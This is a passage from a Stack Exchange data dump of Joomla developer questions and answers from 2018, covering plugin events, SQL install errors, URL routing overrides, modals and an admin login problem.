&amp;lt;authorUrl&amp;gt;XXX&amp;lt;/authorUrl&amp;gt;&#xA;        &amp;lt;version&amp;gt;1.0&amp;lt;/version&amp;gt;&#xA;        &amp;lt;description&amp;gt;Plugin to display a modal after UserLogin&amp;lt;/description&amp;gt;&#xA;        &amp;lt;files&amp;gt;&#xA;                &amp;lt;filename plugin=&quot;popuplogin&quot;&amp;gt;popuplogin.php&amp;lt;/filename&amp;gt;&#xA;                &amp;lt;filename&amp;gt;index.html&amp;lt;/filename&amp;gt;&#xA;        &amp;lt;/files&amp;gt;&#xA;&amp;lt;/extension&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And my &lt;strong&gt;popuplogin.php&lt;/strong&gt; is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;&#xA;// no direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;&#xA;class PlgUserPopuplogin extends JPlugin&#xA;{&#xA;    public function onUserAfterLogin($options)&#xA;        {&#xA;              return 'I think I need to place Javascript/HTML here';&#xA; }&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;With these files, nothing happens, even if I place a simple &lt;code&gt;&amp;lt;p&amp;gt;I am the login popup&amp;lt;/p&amp;gt;&lt;/code&gt; inside return. Can you please explain to me how can I properly display a message using a Plugin in Joomla?&lt;/p&gt;&#xA;" OwnerUserId="12138" LastActivityDate="2018-03-08T12:39:37.370" Title="onUserAfterLogin popup - Joomla 3.6.4 Plugin" Tags="|joomla-3.x|plugin|custom-component|plugin-events|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22531" PostTypeId="2" ParentId="22529" CreationDate="2018-03-08T12:39:37.370" Score="3" Body="&lt;p&gt;The return value of &lt;code&gt;onUserAfterLogin()&lt;/code&gt; should be a boolean -- ie &lt;code&gt;true&lt;/code&gt; or &lt;code&gt;false&lt;/code&gt;. The idea is that you can use this event handler to do additional validation on the login, so if you return &lt;code&gt;false&lt;/code&gt;, it indicates that the login should be rejected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you want to do is quite different; you're trying to add content to the page after login. There's several ways of doing this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Option 1: If you're not worried about a modal, you could just use Joomla's message system to tell the user something:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JError::raiseNotice(100, &quot;Put whatever message you want to tell the user here.&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Option 2: Use an extension like &lt;a href=&quot;https://extensions.joomla.org/extension/modals/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Regular Labs Modals&lt;/a&gt;, so that you can pop up a modal alert with minimum code. You'd probably not need much more than a single line in your existing plugin to call the modal with the message you want to show.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Option 3: Write the modal yourself using JavaScript, and inject it into the page using &lt;code&gt;addScript()&lt;/code&gt; or &lt;code&gt;addScriptDeclaration()&lt;/code&gt;, as described in the Joomla documentation here: &lt;a href=&quot;https://docs.joomla.org/Adding_JavaScript&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Adding_JavaScript&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5618" LastActivityDate="2018-03-08T12:39:37.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22532" PostTypeId="1" CreationDate="2018-03-08T12:56:55.483" Score="0" ViewCount="1684" Body="&lt;p&gt;I have Joomla 3.8.5 stable version. &#xA;The code I am tring to execute is: &lt;a href=&quot;https://pastebin.com/QN7ae2JR&quot; rel=&quot;nofollow noreferrer&quot;&gt;Pastebin SQL code&lt;/a&gt;&#xA;(I am tring to install the JOMESTATE plugin) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;JInstaller: :Install: Error SQL Multiple primary key defined&#xA;  Extension Install: SQL error processing query: DB function failed with error number 1068&#xA;  Multiple primary key defined.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;SQL = &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__cddir_jomestate`&#xA;ADD PRIMARY KEY (`id`), &#xA;ADD KEY `fk_#__cddir_content_#__categories` (`categories_id`), &#xA;ADD KEY `fk_#__cddir_content_#__users1` (`users_id`), &#xA;ADD KEY `fk_#__cddir_content_#__assets1` (`asset_id`), &#xA;ADD KEY `categories_address_id` (`categories_address_id`), &#xA;ADD KEY `categories_type_id` (`categories_type_id`), &#xA;ADD KEY `title` (`title`), &#xA;ADD KEY `company_id` (`company_id`), &#xA;ADD KEY `access` (`access`), &#xA;ADD KEY `fulladdress` (`fulladdress`), &#xA;ADD KEY `published` (`published`), &#xA;ADD KEY `approved` (`approved`);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any idea?&lt;/p&gt;&#xA;" OwnerUserId="12312" LastEditorUserId="12352" LastEditDate="2018-08-08T10:52:39.357" LastActivityDate="2018-09-07T11:01:04.350" Title="Multiple primary key defined error when installing Jomestate plugin" Tags="|plugin|mysql|installation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="22533" PostTypeId="2" ParentId="22532" CreationDate="2018-03-08T13:59:51.827" Score="1" Body="&lt;p&gt;(Your question might get a better answer on the main stackexchange site, since it's really a SQL question/issue more than a Joomla one.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd look at what the primary key of that table is now. If one exists, drop/remove it, and then try the query again. If the current primary key IS &lt;code&gt;id&lt;/code&gt; already, you could instead remove &lt;code&gt;ADD PRIMARY KEY (id),&lt;/code&gt; from your query.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you do any of that you should back up the table (in case stuff hits the fan).&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2018-03-08T13:59:51.827" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22534" PostTypeId="2" ParentId="22532" CreationDate="2018-03-08T19:46:27.883" Score="1" Body="&lt;p&gt;This code causes the issue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ALTER TABLE `#__cddir_jomestate`&#xA;ADD PRIMARY KEY (`id`), &amp;lt;- this line&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Remove the line; it's totally unnecessary. Do the same for the other &lt;code&gt;ALTER TABLE&lt;/code&gt; commands if necessary.&lt;/p&gt;&#xA;" OwnerUserId="12109" LastEditorUserId="12109" LastEditDate="2018-03-09T06:17:34.083" LastActivityDate="2018-03-09T06:17:34.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22535" PostTypeId="1" CreationDate="2018-03-09T09:46:18.027" Score="0" ViewCount="145" Body="&lt;p&gt;I have some sections of my web in joomla that are accessed like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://miweb.com/index.php?option=com_component&amp;amp;view=contracts&amp;amp;ff=1&amp;amp;id=20977&amp;amp;token=8f8c54a3ce165332fd59f17319ba&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://miweb.com/index.php?option=com_component&amp;amp;view=contracts&amp;amp;ff=1&amp;amp;id=20977&amp;amp;token=8f8c54a3ce165332fd59f17319ba&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to transform in something like that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://miweb.com/index.php?option=com_newname&amp;amp;view=contracts&amp;amp;ff=1&amp;amp;id=20977&amp;amp;token=8f8c54a3ce165332fd59f17319ba&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://miweb.com/index.php?option=com_newname&amp;amp;view=contracts&amp;amp;ff=1&amp;amp;id=20977&amp;amp;token=8f8c54a3ce165332fd59f17319ba&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;replace the old name with the new one:&#xA;com_component --&gt; com_newname&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible? How can I do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Edit) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to edit .htaccess file (mod rewrite) with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteCond %{QUERY_STRING} ^(.*)com_component(.*)$&#xA;RewriteRule ^(.*) $1?%1com_newname%2 [R=302,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it does not work well... It shows url local too&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edited: I've tried to modify&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    public function onAfterRoute()&#xA;{&#xA;    $app = JFactory::getApplication();&#xA;    $doc = JFactory::getDocument();&#xA;&#xA;    if ($app-&amp;gt;getName() != 'site' || $doc-&amp;gt;getType() !== 'html')&#xA;    {&#xA;        return;&#xA;    }&#xA;&#xA;    $router = $app::getRouter();&#xA;&#xA;    $uri     = JUri::getInstance();&#xA;    $domain  = $this-&amp;gt;params-&amp;gt;get('domain');&#xA;&#xA;    if ($domain === null || $domain === '')&#xA;    {&#xA;        $domain = $uri-&amp;gt;toString(array('scheme', 'host', 'port'));&#xA;    }&#xA;&#xA;    $link = $domain . JRoute::_('index.php?' . http_build_query($router-&amp;gt;getVars()), false);&#xA;&#xA;    if ($uri-&amp;gt;toString() !== $link)&#xA;    {&#xA;        $doc-&amp;gt;addHeadLink(htmlspecialchars($link), 'canonical');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in: /plugins/system/sef/sef.php&lt;/p&gt;&#xA;" OwnerUserId="12303" LastEditorUserId="12303" LastEditDate="2018-03-13T08:48:38.313" LastActivityDate="2018-09-09T13:02:11.637" Title="Shorten some URLs and show them to the user in another format" Tags="|joomla-3.x|.htaccess-configuration|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="22537" PostTypeId="2" ParentId="14681" CreationDate="2018-03-10T00:11:43.573" Score="1" Body="&lt;p&gt;In order to support SmartSearch, you need to write a &lt;code&gt;finder&lt;/code&gt; plugin for your component. You may want to use &lt;code&gt;plugins/finder/content/content.php&lt;/code&gt; as an example. The minimal skeleton is&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class PlgFinderYourcomponent extends FinderIndexerAdapter&#xA;{&#xA;    /**&#xA;     * Method to index an item.&#xA;     *&#xA;     * @param   FinderIndexerResult $item The item to index as a FinderIndexerResult object.&#xA;     *&#xA;     * @return  boolean  True on success.&#xA;     *&#xA;     * @since   2.5&#xA;     * @throws  Exception on database error.&#xA;     */&#xA;    protected function index(FinderIndexerResult $item)&#xA;    {&#xA;        // ...&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to setup the adapter before indexing.&#xA;     *&#xA;     * @return  boolean  True on success, false on failure.&#xA;     *&#xA;     * @since   2.5&#xA;     * @throws  Exception on database error.&#xA;     */&#xA;    protected function setup()&#xA;    {&#xA;        // ...&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might want to implement the &lt;code&gt;onFinder...()&lt;/code&gt; methods, too.&lt;/p&gt;&#xA;" OwnerUserId="292" LastActivityDate="2018-03-10T00:11:43.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22541" PostTypeId="2" ParentId="22535" CreationDate="2018-03-12T12:48:55.983" Score="1" Body="&lt;p&gt;You can do this by overriding the router in the System plugin, either create a new system plugin or add a method in the already existing system plugin that is enabled on your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create the following method&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * This event is triggered after the framework has loaded and initialised and the router has routed the client request.&#xA; *&#xA; * @return void&#xA; */&#xA;function onAfterRoute() {&#xA;    $app = JFactory::getApplication();&#xA;    $input = $app-&amp;gt;input;&#xA;    $option = $input-&amp;gt;get('option', &quot;&quot;);&#xA;&#xA;    // will override on the following condition only&#xA;    if ($option == &quot;com_component&quot;) {&#xA;        $input-&amp;gt;set('option', &quot;com_newname&quot;);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will allow you to override all calls to your &quot;com_component&quot; to &quot;com_newname&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also override view as per these.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More Info can be found here =&gt; &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Plugin/Events/System&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8987" LastActivityDate="2018-03-12T12:48:55.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="22542" PostTypeId="2" ParentId="22497" CreationDate="2018-03-12T13:25:04.157" Score="2" Body="&lt;p&gt;a) Add the following code to your frontend template index.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ($this-&amp;gt;countModules( 'modal' )) : ?&amp;gt;&#xA;&amp;lt;!-- This is the modal --&amp;gt;&#xA;&amp;lt;div id=&quot;modal-example&quot; uk-modal&amp;gt;&#xA;    &amp;lt;div class=&quot;uk-modal-dialog uk-modal-body&quot;&amp;gt;&#xA;        &amp;lt;jdoc:include type=&quot;modules&quot; name=&quot;modal&quot; /&amp;gt;&#xA;        &amp;lt;p class=&quot;uk-text-right&quot;&amp;gt;&#xA;            &amp;lt;button class=&quot;uk-button uk-button-default uk-modal-close&quot; type=&quot;button&quot;&amp;gt;Cancel&amp;lt;/button&amp;gt;&#xA;            &amp;lt;button class=&quot;uk-button uk-button-primary&quot; type=&quot;button&quot;&amp;gt;Save&amp;lt;/button&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php endif;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;b) Make a template position called 'modal' in template.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;c) Place your login module in this position 'modal'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;d) You may need to override the login module to be compatible to work with ui kit as it would be bootstrap. &lt;a href=&quot;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a sample of one I did for Zurb Foundation 5 modal:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/iamrobert/5a1d206279d1faad245dc7c1f1502772&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gist.github.com/iamrobert/5a1d206279d1faad245dc7c1f1502772&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e) Call the code with your button:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;#modal-example&quot; uk-toggle&amp;gt;Open&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also build your own module chrome (&lt;a href=&quot;https://docs.joomla.org/Applying_custom_module_chrome&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Applying_custom_module_chrome&lt;/a&gt;) for UI Kit as well....&lt;/p&gt;&#xA;" OwnerUserId="3485" LastActivityDate="2018-03-12T13:25:04.157" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22543" PostTypeId="2" ParentId="17392" CreationDate="2018-03-12T19:05:46.907" Score="2" Body="&lt;p&gt;According to &lt;a href=&quot;https://developer.joomla.org/coding-standards/docblocks.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.joomla.org/coding-standards/docblocks.html&lt;/a&gt; these comments are part of the DocBlock and are used by tools that generate documentation for code. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are writing your own extensions then you could completely omit these, providing your own copyright and licensing information as you see fit. However, following the standard and providing documentation blocks might help users of your extension troubleshoot their installation without bothering you, and may also help you if you extend your tooset to include something that can make use of such comments. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically, &lt;code&gt;@package&lt;/code&gt; is usually optional unless you only have procedural code in the file, i.e. no classes or namespaces. &lt;code&gt;@subpackage&lt;/code&gt; is always optional. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if you start the .php file with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;namespace MyMembershipMananger\com_Member\MemberDetailsEditor;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you would only need the `@since' from below&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA;  * @package     MyMembershipMananger&#xA;  * @subpackage  com_Member &#xA;  * @since       0.0.01&#xA;  */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, if you launched straight into a class declaration then you should provide all three. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different styles of DocBlock are used for files, classes, and methods or functions. &lt;/p&gt;&#xA;" OwnerUserId="12321" LastActivityDate="2018-03-12T19:05:46.907" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22544" PostTypeId="1" CreationDate="2018-03-12T21:06:23.057" Score="1" ViewCount="215" Body="&lt;p&gt;I'm having a problem with building the rule for a particular URL. Here's what I have in my system plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//...&#xA;function onAfterInitialise() {&#xA;    require_once '/path/to/myhelper.php';&#xA;    $router = $this-&amp;gt;app-&amp;gt;getRouter();&#xA;    $router-&amp;gt;attachBuildRule(array('MyHelper', 'BuildRoute'));&#xA;    $router-&amp;gt;attachParseRule(array('MyHelper', 'ParseRoute'));&#xA;}&#xA;//...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the myhelper.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyHelper {&#xA;     //...&#xA;     public static function buildRoute(&amp;amp;$router, &amp;amp;$uri) {&#xA;         $uri-&amp;gt;setPath('foobar');&#xA;         $uri-&amp;gt;setQuery(array());&#xA;     }&#xA;     //...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In another file, when I try to &lt;code&gt;JRoute&lt;/code&gt; any url, it adds the language code at the &lt;em&gt;end&lt;/em&gt; instead of the &lt;em&gt;beginning&lt;/em&gt;. For example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JRoute::_('helloworld.php');&#xA;//this will print &quot;/foobar/en/&quot; instead of just &quot;/en/foobar/&quot; or possibly just &quot;/foobar&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A few things:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;I have the Joomla system plugin &lt;code&gt;System - Language Filter&lt;/code&gt; enabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Setting &lt;code&gt;Remove URL Language Code&lt;/code&gt; to either Yes or No does not change the outcome.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disabling the plugin will remove the language code, but I can't do that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The baffling part is, all other Joomla generated URLs (like the ones in the menu), have the language code &lt;em&gt;in front&lt;/em&gt;. eg &lt;code&gt;mydomain.com/en/mylink&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also baffling is if I do not try to override the route, Joomla show the language code in the front for the same &lt;code&gt;JRoute::_('helloworld.php')&lt;/code&gt;. It shows &lt;code&gt;/en/helloworld&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Any direction on this is greatly appreciated. Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="3365" LastEditorUserId="3365" LastEditDate="2018-03-12T21:12:30.487" LastActivityDate="2024-02-12T17:02:15.233" Title="Joomla BuildRule adds language code at the back of setPath" Tags="|joomla-3.x|jroute|system-plugin|router|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22545" PostTypeId="1" CreationDate="2018-03-12T23:24:43.230" Score="0" ViewCount="186" Body="&lt;p&gt;In layout override files, this is successfully outputting the content of the modules plus the icon for frontend module editing. But when clicked it opens the module editor as a full page instead of as a popup modal.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php echo JFactory::getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render(&quot;MODULEPOSITION&quot;, array('style' =&amp;gt; 'xhtml'), null); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How to show the module editing page in a popup modal?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also hope it's ok to ask two questions on one, how to have the module edit form return to the page on which the module is edited after clicking 'save' or 'cancel'? Currently it's returning to the sites index page.&lt;/p&gt;&#xA;" OwnerUserId="1958" LastActivityDate="2024-02-27T00:07:35.920" Title="How to make frontend module editing as modal in a custom template?" Tags="|template-override|module-display|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22546" PostTypeId="1" CreationDate="2018-03-13T15:23:16.370" Score="0" ViewCount="19" Body="&lt;p&gt;Besides the obvious &quot;because they're a hacker&quot; of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a client using Joomla with JomSocial and they allow their community members to create their own events. They have just updated to Joomla 3.8 and now have folks getting an alert when they try to create an event.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have tested this with our admin accounts and our testing, non-admin accounts with no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to get a screenshot of the error message. In the meantime, any insight would be helpful.&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2018-04-13T13:18:53.313" Title="What can cause JomSocial Event creation to trigger a hacker alert?" Tags="|joomla-3.x|jomsocial|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22548" PostTypeId="2" ParentId="22546" CreationDate="2018-03-14T12:23:07.583" Score="1" Body="&lt;p&gt;Turns out it was a setting in the Joomla firewall and it was working as expected. Apparently, this particular &quot;trusted&quot; user accidentally put some &quot;&amp;lt;&quot; and &quot;&gt;&quot; characters in his description which triggered a code injection protocol.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Joomla admin was able to clear this user's IP from the blocked list and now they can add events again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully, this will help someone in the future.&lt;/p&gt;&#xA;" OwnerUserId="8550" LastActivityDate="2018-03-14T12:23:07.583" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="22549" PostTypeId="1" CreationDate="2018-03-14T13:36:06.350" Score="3" ViewCount="13021" Body="&lt;p&gt;It looks like that I can't log in to my Joomla back end anymore. No error messages are shown, the log in screen just stays there. If I enter a wrong password on purpose, I get a warning that the username and password doesn't match.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I did was that I made a backup of &lt;strong&gt;/components/com_users&lt;/strong&gt; directory with a different name and deleted the original. I noticed that I made an error since I couldn't log in anymore and copied the directory back with the original &lt;strong&gt;com_users&lt;/strong&gt; name. After this I couldn't log in either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I fix my mistake?&lt;/p&gt;&#xA;" OwnerUserId="12329" LastEditorUserId="12329" LastEditDate="2018-03-14T17:22:07.463" LastActivityDate="2022-11-11T22:40:14.653" Title="Can't log in with admin, no error messages" Tags="|joomla-3.x|" AnswerCount="6" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="22550" PostTypeId="2" ParentId="22549" CreationDate="2018-03-14T20:11:15.500" Score="2" Body="&lt;p&gt;Solved my problem. &lt;a href=&quot;https://www.itoctopus.com/login-to-joomla-administrator-not-working-and-no-error-is-displayed&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; article helped me. The problem was solved by going to phpMyAdmin and searching for &lt;code&gt;plg_user_joomla&lt;/code&gt; and changing it's &lt;code&gt;enabled&lt;/code&gt; bit to 1. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Joomla probably disabled the &lt;em&gt;user&lt;/em&gt; module when I tried to log in without the &lt;code&gt;com_users&lt;/code&gt; component. &lt;/p&gt;&#xA;" OwnerUserId="12329" LastEditorUserId="12329" LastEditDate="2018-10-27T18:19:13.163" LastActivityDate="2018-10-27T18:19:13.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="22551" PostTypeId="2" ParentId="16939" CreationDate="2018-03-15T09:18:47.680" Score="-2" Body="&lt;p&gt;Having the same problem, I used https url to login to admin. Although the SSL certificate is self signed in my server, that worked and the file uploading is working. &#xA;Hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="12332" LastActivityDate="2018-03-15T09:18:47.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="22552" PostTypeId="2" ParentId="12307" CreationDate="2018-03-15T10:35:59.513" Score="0" Body="&lt;p&gt;when you install your component, you have to insert row to database in install.mysql.utf8.sql add this row&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;INSERT INTO `#__content_types` (`type_title`, `type_alias`, `table`, `rules`, `field_mappings`, `router`, `content_history_options`) VALUES&#xA;('Your Title', 'com_bestia.goal', '{\&quot;special\&quot;:{\&quot;dbtable\&quot;:\&quot;#__yourtable\&quot;,\&quot;key\&quot;:\&quot;id\&quot;,\&quot;type\&quot;:\&quot;Content\&quot;,\&quot;prefix\&quot;:\&quot;PropertiTable\&quot;,\&quot;config\&quot;:\&quot;array()\&quot;},\&quot;common\&quot;:{\&quot;dbtable\&quot;:\&quot;#__ucm_content\&quot;,\&quot;key\&quot;:\&quot;ucm_id\&quot;,\&quot;type\&quot;:\&quot;Corecontent\&quot;,\&quot;prefix\&quot;:\&quot;YourtableTable\&quot;,\&quot;config\&quot;:\&quot;array()\&quot;}}', '', '{\&quot;common\&quot;:{\&quot;core_content_item_id\&quot;:\&quot;id\&quot;,\&quot;core_title\&quot;:\&quot;title\&quot;,\&quot;core_state\&quot;:\&quot;state\&quot;,\&quot;core_alias\&quot;:\&quot;alias\&quot;,\&quot;core_created_time\&quot;:\&quot;created\&quot;,\&quot;core_modified_time\&quot;:\&quot;modified\&quot;,\&quot;core_body\&quot;:\&quot;introtext\&quot;, \&quot;core_hits\&quot;:\&quot;hits\&quot;,\&quot;core_publish_up\&quot;:\&quot;publish_up\&quot;,\&quot;core_publish_down\&quot;:\&quot;publish_down\&quot;,\&quot;core_access\&quot;:\&quot;access\&quot;, \&quot;core_params\&quot;:\&quot;attribs\&quot;, \&quot;core_featured\&quot;:\&quot;featured\&quot;, \&quot;core_metadata\&quot;:\&quot;metadata\&quot;, \&quot;core_language\&quot;:\&quot;language\&quot;, \&quot;core_images\&quot;:\&quot;images\&quot;, \&quot;core_urls\&quot;:\&quot;urls\&quot;, \&quot;core_version\&quot;:\&quot;version\&quot;, \&quot;core_ordering\&quot;:\&quot;ordering\&quot;, \&quot;core_metakey\&quot;:\&quot;metakey\&quot;, \&quot;core_metadesc\&quot;:\&quot;metadesc\&quot;, \&quot;core_catid\&quot;:\&quot;catid\&quot;, \&quot;core_xreference\&quot;:\&quot;xreference\&quot;, \&quot;asset_id\&quot;:\&quot;asset_id\&quot;}, \&quot;special\&quot;:{\&quot;fulltext\&quot;:\&quot;fulltext\&quot;}}', 'PropertiHelperRoute::getListingRoute', '{\&quot;formFile\&quot;:\&quot;administrator\\/components\\/com_properti\\/models\\/forms\\/listing.xml\&quot;, \&quot;hideFields\&quot;:[\&quot;asset_id\&quot;,\&quot;checked_out\&quot;,\&quot;checked_out_time\&quot;,\&quot;version\&quot;],\&quot;ignoreChanges\&quot;:[\&quot;modified_by\&quot;, \&quot;modified\&quot;, \&quot;checked_out\&quot;, \&quot;checked_out_time\&quot;, \&quot;version\&quot;, \&quot;hits\&quot;],\&quot;convertToInt\&quot;:[\&quot;publish_up\&quot;, \&quot;publish_down\&quot;, \&quot;featured\&quot;, 